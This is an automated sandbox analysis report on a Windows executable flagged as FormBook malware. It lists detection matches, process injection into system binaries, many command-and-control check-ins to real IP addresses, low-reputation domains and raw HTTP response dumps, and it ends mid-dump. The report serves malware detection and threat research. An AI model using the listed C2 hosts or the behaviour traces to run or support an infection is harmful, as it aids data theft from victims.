Windows Analysis Report
Pp7OXMFwqhXKx5Y.exe

Machine Learning detection for sample

Source: Yara match	File source: 2.2.Pp7OXMFwqhXKx5Y.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Pp7OXMFwqhXKx5Y.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.179274577947.0000000005D30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.182790212280.0000000003470000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.179229670326.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.182790291540.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: Pp7OXMFwqhXKx5Y.exe

Joe Sandbox ML: detected

Source: Pp7OXMFwqhXKx5Y.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Pp7OXMFwqhXKx5Y.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: cacls.pdbGCTL source: Pp7OXMFwqhXKx5Y.exe, 00000002.00000002.179230808356.0000000001008000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cacls.pdb source: Pp7OXMFwqhXKx5Y.exe, 00000002.00000002.179230808356.0000000001008000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: Pp7OXMFwqhXKx5Y.exe, 00000002.00000002.179231505422.0000000001470000.00000040.00001000.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182790505169.0000000003710000.00000040.00001000.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182790505169.000000000383D000.00000040.00001000.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179230035520.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179233863285.0000000003566000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Pp7OXMFwqhXKx5Y.exe, Pp7OXMFwqhXKx5Y.exe, 00000002.00000002.179231505422.0000000001470000.00000040.00001000.00020000.00000000.sdmp, cacls.exe, cacls.exe, 00000004.00000002.182790505169.0000000003710000.00000040.00001000.00020000.00000000.sdmp, cacls.exe, 00000004.00000002.182790505169.000000000383D000.00000040.00001000.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179230035520.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, cacls.exe, 00000004.00000003.179233863285.0000000003566000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 4x nop then mov ebx, 00000004h	3_2_035074BF
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Code function: 4x nop then mov ebx, 00000004h	3_2_03DB8E4F
Source: C:\Windows\SysWOW64\cacls.exe	Code function: 4x nop then mov ebx, 00000004h	4_2_035C04BF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49771 -> 209.74.79.42:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49767 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49770 -> 209.74.79.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49762 -> 217.160.0.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49780 -> 8.136.96.106:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49787 -> 38.47.233.4:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49803 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49778 -> 89.31.143.90:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49791 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49800 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49760 -> 217.160.0.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49785 -> 38.47.233.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49761 -> 217.160.0.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49790 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49759 -> 172.96.191.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49819 -> 217.160.0.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49804 -> 192.185.147.100:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49775 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49799 -> 173.0.157.187:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49828 -> 209.74.79.42:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49763 -> 217.160.0.183:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49844 -> 38.47.233.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49806 -> 192.185.147.100:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49816 -> 172.96.191.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49827 -> 209.74.79.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49825 -> 209.74.79.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49768 -> 209.74.79.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49792 -> 172.67.201.49:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49781 -> 8.136.96.106:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49777 -> 89.31.143.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49812 -> 45.197.47.177:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49795 -> 172.67.201.49:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49769 -> 209.74.79.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49789 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49836 -> 89.31.143.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49833 -> 89.31.143.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49826 -> 209.74.79.42:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49776 -> 89.31.143.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49801 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49788 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49846 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49845 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49784 -> 38.47.233.4:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49811 -> 176.31.209.107:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49837 -> 8.136.96.106:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49805 -> 192.185.147.100:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49782 -> 8.136.96.106:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49810 -> 176.31.209.107:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49809 -> 176.31.209.107:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49807 -> 192.185.147.100:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49847 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49783 -> 8.136.96.106:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49786 -> 38.47.233.4:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49815 -> 45.197.47.177:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49835 -> 89.31.143.90:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49779 -> 89.31.143.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49793 -> 172.67.201.49:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49824 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49840 -> 8.136.96.106:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49813 -> 45.197.47.177:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49796 -> 173.0.157.187:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49797 -> 173.0.157.187:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49794 -> 172.67.201.49:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49841 -> 38.47.233.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49818 -> 217.160.0.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49834 -> 89.31.143.90:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49832 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49842 -> 38.47.233.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49843 -> 38.47.233.4:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49848 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49814 -> 45.197.47.177:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49838 -> 8.136.96.106:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49798 -> 173.0.157.187:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49820 -> 217.160.0.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49808 -> 176.31.209.107:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49839 -> 8.136.96.106:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49817 -> 217.160.0.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49821 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49766 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49772 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49764 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49765 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49802 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49822 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49773 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49774 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49823 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49830 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49829 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49831 -> 208.91.197.27:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.juewucangku.xyz
Source:	DNS query: www.juewucangku.xyz
Source:	DNS query: www.foggvdqutxzgea.xyz

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9

Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Code function: 3_2_0350D356 recv,

3_2_0350D356

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Tue, 03 Dec 2024 13:53:24 GMTserver: Apacheset-cookie: __tad=1733234004.7002375; expires=Fri, 01-Dec-2034 13:53:24 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 579content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 57 6c 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 f2 24 26 69 50 e4 bf 97 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 b7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 6b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 85 c4 7c b7 37 ef f3 cf c9 22 8a f2 1c 6e 90 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 b7 28 b7 84 0c 7c e0 01 d5 00 b5 08 cf e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b eb b1 54 3a 85 bb 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 25 db bb 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 27 27 df 6f 58 87 a8 d3 bb ce 1a 45 96 43 ab 79 90 ed f1 18 32 1f b3 a2 c9 24 e3 26 98 b4 e9 a1 ac b8 5a b6 42 b6 33 7d 8c f3 cb c4 a1 df 6a 0a e7 77 10 f6 23 b1 0b 3a 83 9d e4 fc 84 c8 76 ca 07 b2 6f f5 62 80 49 8d e2 c1 52 fa e4 6e 7a 3a 7d 5b bb 02 cd 90 10 74 1f 81 b1 b2 4d d1 b9 a1 e3 ff 7f 87 a1 ab cf e7 8e 0e 3c ca b0 b4 35 37 1a 02 76 e5 ec d6 d4 f3 b3 cb d9 a5 bc fa 08 47 60 f4 00 e2 b4 f1 5a 0c e8 e5 4a 5a 6d 5d 19 9f 35 c3 8a 21 8c 2d 6f 67 c3 e2 a1 2d 6a b5 83 21 b7 4c 6a e5 59 fd 61 0e c6 1a 5c 24 55 21 a0 75 d8 94 af 0f 71 18 87 ab a4 fa a2 f9 10 5a 74 38 4c ab 21 74 45 2e f8 0a 31 09 53 19 3b 5a 2a 3a 24 ae cd 55 2f f0 ef 56 ed ca 98 69 b8 fd 6d 0c 3c 45 c4 89 65 3c 5b c0 ef eb 1f e5 9b a8 3f 84 6b fa 58 9d 7b 10 cc 0f bd 08 7f 8a 7b 31 31 bf 23 30 04 00 00 Data Ascii: TMo0=pvNWl;a"Y$&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'kh'8CI2(!iy\|7"n@6p5A5(\|Cl<9Exkfk$)kXT:hWL[)sk!1ydQD2Y'p5(#%`'kMs\''oXECy2$&ZB3}jw#:vobIRnz:}[tM<57vG`ZJZm]5!-og-j!LjYa\$U!uqZt8L!tE.1S;Z:$U/Vim<Ee<[?kX{{11#0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Tue, 03 Dec 2024 13:53:27 GMTserver: Apacheset-cookie: __tad=1733234007.2576216; expires=Fri, 01-Dec-2034 13:53:27 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 579content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 57 6c 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 f2 24 26 69 50 e4 bf 97 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 b7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 6b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 85 c4 7c b7 37 ef f3 cf c9 22 8a f2 1c 6e 90 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 b7 28 b7 84 0c 7c e0 01 d5 00 b5 08 cf e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b eb b1 54 3a 85 bb 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 25 db bb 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 27 27 df 6f 58 87 a8 d3 bb ce 1a 45 96 43 ab 79 90 ed f1 18 32 1f b3 a2 c9 24 e3 26 98 b4 e9 a1 ac b8 5a b6 42 b6 33 7d 8c f3 cb c4 a1 df 6a 0a e7 77 10 f6 23 b1 0b 3a 83 9d e4 fc 84 c8 76 ca 07 b2 6f f5 62 80 49 8d e2 c1 52 fa e4 6e 7a 3a 7d 5b bb 02 cd 90 10 74 1f 81 b1 b2 4d d1 b9 a1 e3 ff 7f 87 a1 ab cf e7 8e 0e 3c ca b0 b4 35 37 1a 02 76 e5 ec d6 d4 f3 b3 cb d9 a5 bc fa 08 47 60 f4 00 e2 b4 f1 5a 0c e8 e5 4a 5a 6d 5d 19 9f 35 c3 8a 21 8c 2d 6f 67 c3 e2 a1 2d 6a b5 83 21 b7 4c 6a e5 59 fd 61 0e c6 1a 5c 24 55 21 a0 75 d8 94 af 0f 71 18 87 ab a4 fa a2 f9 10 5a 74 38 4c ab 21 74 45 2e f8 0a 31 09 53 19 3b 5a 2a 3a 24 ae cd 55 2f f0 ef 56 ed ca 98 69 b8 fd 6d 0c 3c 45 c4 89 65 3c 5b c0 ef eb 1f e5 9b a8 3f 84 6b fa 58 9d 7b 10 cc 0f bd 08 7f 8a 7b 31 31 bf 23 30 04 00 00 Data Ascii: TMo0=pvNWl;a"Y$&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'kh'8CI2(!iy\|7"n@6p5A5(\|Cl<9Exkfk$)kXT:hWL[)sk!1ydQD2Y'p5(#%`'kMs\''oXECy2$&ZB3}jw#:vobIRnz:}[tM<57vG`ZJZm]5!-og-j!LjYa\$U!uqZt8L!tE.1S;Z:$U/Vim<Ee<[?kX{{11#0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Tue, 03 Dec 2024 13:53:29 GMTserver: Apacheset-cookie: __tad=1733234009.7981421; expires=Fri, 01-Dec-2034 13:53:29 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 579content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 57 6c 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 f2 24 26 69 50 e4 bf 97 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 b7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 6b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 85 c4 7c b7 37 ef f3 cf c9 22 8a f2 1c 6e 90 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 b7 28 b7 84 0c 7c e0 01 d5 00 b5 08 cf e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b eb b1 54 3a 85 bb 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 25 db bb 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 27 27 df 6f 58 87 a8 d3 bb ce 1a 45 96 43 ab 79 90 ed f1 18 32 1f b3 a2 c9 24 e3 26 98 b4 e9 a1 ac b8 5a b6 42 b6 33 7d 8c f3 cb c4 a1 df 6a 0a e7 77 10 f6 23 b1 0b 3a 83 9d e4 fc 84 c8 76 ca 07 b2 6f f5 62 80 49 8d e2 c1 52 fa e4 6e 7a 3a 7d 5b bb 02 cd 90 10 74 1f 81 b1 b2 4d d1 b9 a1 e3 ff 7f 87 a1 ab cf e7 8e 0e 3c ca b0 b4 35 37 1a 02 76 e5 ec d6 d4 f3 b3 cb d9 a5 bc fa 08 47 60 f4 00 e2 b4 f1 5a 0c e8 e5 4a 5a 6d 5d 19 9f 35 c3 8a 21 8c 2d 6f 67 c3 e2 a1 2d 6a b5 83 21 b7 4c 6a e5 59 fd 61 0e c6 1a 5c 24 55 21 a0 75 d8 94 af 0f 71 18 87 ab a4 fa a2 f9 10 5a 74 38 4c ab 21 74 45 2e f8 0a 31 09 53 19 3b 5a 2a 3a 24 ae cd 55 2f f0 ef 56 ed ca 98 